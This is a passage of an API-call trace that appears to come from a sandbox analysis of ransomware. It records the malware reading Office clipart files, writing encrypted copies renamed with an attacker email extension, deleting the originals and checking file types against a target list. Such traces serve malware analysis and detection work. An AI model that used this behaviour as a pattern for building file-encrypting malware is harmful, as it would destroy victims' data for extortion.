Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0242.306] lstrlenW (lpString=".jpg") returned 4 [0242.306] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.306] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0242.306] lstrlenW (lpString="PARNT_07.MID") returned 12 [0242.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0242.308] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=6564) returned 1 [0242.308] CloseHandle (hObject=0x354) returned 1 [0242.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid")) returned 0x20 [0242.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0242.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0242.786] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.821] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0242.853] GetLastError () returned 0x0 [0242.853] ReadFile (in: hFile=0x354, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x19a4, lpOverlapped=0x0) returned 1 [0242.897] WriteFile (in: hFile=0x3b0, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x19b0, lpOverlapped=0x0) returned 1 [0242.900] ReadFile (in: hFile=0x354, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.900] WriteFile (in: hFile=0x3b0, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.900] SetEndOfFile (hFile=0x3b0) returned 1 [0242.928] CloseHandle (hObject=0x3b0) returned 1 [0242.939] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.939] SetEndOfFile (hFile=0x354) returned 1 [0242.946] CloseHandle (hObject=0x354) returned 1 [0242.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0242.980] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid")) returned 1 [0242.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0242.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0242.997] lstrlenW (lpString=".doc") returned 4 [0242.997] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.997] lstrlenW (lpString=".docx") returned 5 [0242.997] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0242.997] lstrlenW (lpString=".pdf") returned 4 [0242.997] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.997] lstrlenW (lpString=".xls") returned 4 [0242.997] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.997] lstrlenW (lpString=".xlsx") returned 5 [0242.997] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0242.997] lstrlenW (lpString=".ppt") returned 4 [0242.998] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0242.998] lstrlenW (lpString=".zip") returned 4 [0242.998] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.998] lstrlenW (lpString=".rar") returned 4 [0242.998] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.998] lstrlenW (lpString=".bz2") returned 4 [0242.998] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.998] lstrlenW (lpString=".7z") returned 3 [0242.998] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0242.998] lstrlenW (lpString=".dbf") returned 4 [0242.998] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0242.999] lstrlenW (lpString=".1cd") returned 4 [0242.999] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0242.999] lstrlenW (lpString=".jpg") returned 4 [0242.999] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0242.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0242.999] lstrlenW (lpString=".doc") returned 4 [0242.999] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.999] lstrlenW (lpString=".docx") returned 5 [0242.999] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0242.999] lstrlenW (lpString=".pdf") returned 4 [0243.000] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0243.000] lstrlenW (lpString=".xls") returned 4 [0243.000] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0243.000] lstrlenW (lpString=".xlsx") returned 5 [0243.000] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0243.000] lstrlenW (lpString=".ppt") returned 4 [0243.000] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0243.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0243.000] lstrlenW (lpString=".zip") returned 4 [0243.000] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0243.000] lstrlenW (lpString=".rar") returned 4 [0243.000] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0243.000] lstrlenW (lpString=".bz2") returned 4 [0243.001] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0243.001] lstrlenW (lpString=".7z") returned 3 [0243.001] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0243.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0243.001] lstrlenW (lpString=".dbf") returned 4 [0243.001] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0243.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0243.001] lstrlenW (lpString=".1cd") returned 4 [0243.001] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0243.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0243.001] lstrlenW (lpString=".jpg") returned 4 [0243.001] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0243.002] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0243.002] lstrlenW (lpString="SCHOL_02.MID") returned 12 [0243.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0244.135] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=5058) returned 1 [0244.135] CloseHandle (hObject=0x3b0) returned 1 [0244.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid")) returned 0x20 [0245.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0246.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0247.023] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.023] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0247.024] GetLastError () returned 0x0 [0247.024] ReadFile (in: hFile=0x3ac, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x13c2, lpOverlapped=0x0) returned 1 [0247.076] WriteFile (in: hFile=0x354, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x13d0, lpOverlapped=0x0) returned 1 [0247.079] ReadFile (in: hFile=0x3ac, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.079] WriteFile (in: hFile=0x354, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.079] SetEndOfFile (hFile=0x354) returned 1 [0247.226] CloseHandle (hObject=0x354) returned 1 [0247.237] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.238] SetEndOfFile (hFile=0x3ac) returned 1 [0247.593] CloseHandle (hObject=0x3ac) returned 1 [0247.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0247.781] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid")) returned 1 [0248.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0248.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0248.126] lstrlenW (lpString=".doc") returned 4 [0248.126] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0248.126] lstrlenW (lpString=".docx") returned 5 [0248.126] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0248.126] lstrlenW (lpString=".pdf") returned 4 [0248.126] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0248.126] lstrlenW (lpString=".xls") returned 4 [0248.126] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0248.126] lstrlenW (lpString=".xlsx") returned 5 [0248.126] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0248.126] lstrlenW (lpString=".ppt") returned 4 [0248.126] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0248.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0248.126] lstrlenW (lpString=".zip") returned 4 [0248.126] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0248.126] lstrlenW (lpString=".rar") returned 4 [0248.127] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0248.127] lstrlenW (lpString=".bz2") returned 4 [0248.127] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0248.127] lstrlenW (lpString=".7z") returned 3 [0248.127] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0248.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0248.127] lstrlenW (lpString=".dbf") returned 4 [0248.127] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0248.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0248.127] lstrlenW (lpString=".1cd") returned 4 [0248.127] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0248.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0248.127] lstrlenW (lpString=".jpg") returned 4 [0248.127] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0248.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0248.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0248.128] lstrlenW (lpString=".doc") returned 4 [0248.128] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0248.128] lstrlenW (lpString=".docx") returned 5 [0248.129] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0248.129] lstrlenW (lpString=".pdf") returned 4 [0248.129] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0248.129] lstrlenW (lpString=".xls") returned 4 [0248.129] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0248.129] lstrlenW (lpString=".xlsx") returned 5 [0248.129] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0248.129] lstrlenW (lpString=".ppt") returned 4 [0248.129] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0248.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0248.130] lstrlenW (lpString=".zip") returned 4 [0248.130] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0248.130] lstrlenW (lpString=".rar") returned 4 [0248.130] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0248.130] lstrlenW (lpString=".bz2") returned 4 [0248.130] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0248.130] lstrlenW (lpString=".7z") returned 3 [0248.130] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0248.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0248.130] lstrlenW (lpString=".dbf") returned 4 [0248.130] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0248.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0248.130] lstrlenW (lpString=".1cd") returned 4 [0248.130] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0248.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0248.130] lstrlenW (lpString=".jpg") returned 4 [0248.131] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0248.131] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0248.131] lstrlenW (lpString="URBAN_01.MID") returned 12 [0248.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.261] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=13358) returned 1 [0248.262] CloseHandle (hObject=0x3b4) returned 1 [0248.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid")) returned 0x20 [0248.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0251.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0251.349] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.349] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0251.439] GetLastError () returned 0x0 [0251.441] ReadFile (in: hFile=0x3ac, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x342e, lpOverlapped=0x0) returned 1 [0251.484] WriteFile (in: hFile=0x38c, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0x3430, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x3430, lpOverlapped=0x0) returned 1 [0251.487] ReadFile (in: hFile=0x3ac, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.487] WriteFile (in: hFile=0x38c, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.488] SetEndOfFile (hFile=0x38c) returned 1 [0252.017] CloseHandle (hObject=0x38c) returned 1 [0252.018] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.018] SetEndOfFile (hFile=0x3ac) returned 1 [0252.026] CloseHandle (hObject=0x3ac) returned 1 [0252.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0253.660] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid")) returned 1 [0253.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0253.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0253.763] lstrlenW (lpString=".doc") returned 4 [0253.763] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0253.763] lstrlenW (lpString=".docx") returned 5 [0253.763] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0253.763] lstrlenW (lpString=".pdf") returned 4 [0253.763] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0253.763] lstrlenW (lpString=".xls") returned 4 [0253.763] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0253.763] lstrlenW (lpString=".xlsx") returned 5 [0253.764] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0253.764] lstrlenW (lpString=".ppt") returned 4 [0253.764] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0253.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0253.764] lstrlenW (lpString=".zip") returned 4 [0253.764] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0253.764] lstrlenW (lpString=".rar") returned 4 [0253.764] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0253.764] lstrlenW (lpString=".bz2") returned 4 [0253.764] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0253.764] lstrlenW (lpString=".7z") returned 3 [0253.764] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0253.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0253.764] lstrlenW (lpString=".dbf") returned 4 [0253.764] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0253.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0253.765] lstrlenW (lpString=".1cd") returned 4 [0253.765] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0253.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0253.765] lstrlenW (lpString=".jpg") returned 4 [0253.765] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0253.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0253.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0253.765] lstrlenW (lpString=".doc") returned 4 [0253.765] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0253.765] lstrlenW (lpString=".docx") returned 5 [0253.765] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0253.765] lstrlenW (lpString=".pdf") returned 4 [0253.766] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0253.766] lstrlenW (lpString=".xls") returned 4 [0253.766] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0253.766] lstrlenW (lpString=".xlsx") returned 5 [0253.766] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0253.766] lstrlenW (lpString=".ppt") returned 4 [0253.766] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0253.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0253.766] lstrlenW (lpString=".zip") returned 4 [0253.766] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0253.766] lstrlenW (lpString=".rar") returned 4 [0253.766] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0253.766] lstrlenW (lpString=".bz2") returned 4 [0253.767] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0253.767] lstrlenW (lpString=".7z") returned 3 [0253.767] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0253.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0253.767] lstrlenW (lpString=".dbf") returned 4 [0253.767] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0253.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0253.767] lstrlenW (lpString=".1cd") returned 4 [0253.767] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0253.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0253.767] lstrlenW (lpString=".jpg") returned 4 [0253.767] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0253.768] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0253.768] lstrlenW (lpString="Apex.eftx") returned 9 [0253.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0255.909] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2f2ff1c 